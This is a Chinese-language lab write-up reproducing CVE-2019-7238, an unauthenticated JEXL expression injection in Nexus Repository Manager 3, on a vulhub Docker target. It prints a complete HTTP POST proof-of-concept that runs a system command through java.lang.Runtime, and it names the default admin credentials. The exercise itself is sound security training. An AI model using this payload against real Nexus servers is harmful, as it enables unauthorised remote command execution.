实验步骤
漏洞介绍:Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。 其3.14.0及之前版本中,存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞。
在靶机搭建环境并启动容器
漏洞环境使用vulhub搭建,漏洞目录为vulhub/nexus/CVE-2019-7238
拉取镜像启动容器:docker-compose up -d
查看端口:docker ps
环境完全启动后,访问http://your-ip:8081即可看到Web页面,使用默认账号密码(admin:admin123)登录后台
接着在maven-releases里随便上传一个jar包
因为要触发该漏洞,必须保证仓库里至少有一个包存在
由于接口没有校验权限,所以只要发送了如下POC包,即可执行命令touch /tmp/success
POST /service/extdirect HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0 Accept: */*
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 368
Connection: close
{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter": [{"property":"repositoryName","value":"*"},{"property":"expression","value":"233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8}
进行漏洞复现
首先打开bp进行抓包准备,发送数据请求包,将选项改为All Repositorles,浏览器开启代理后点击Prevlew抓包
查看bp抓包情况,将数据包发送到repeater
在expression和type的value处进行如下注入,手动构建POC包,从而执行命令touch /tmp/success
然后点击发送,即可看到响应
此时回到靶场执行命令:updatedb && locatesuccess 可以看到/tmp/success已成功执行,即复现成功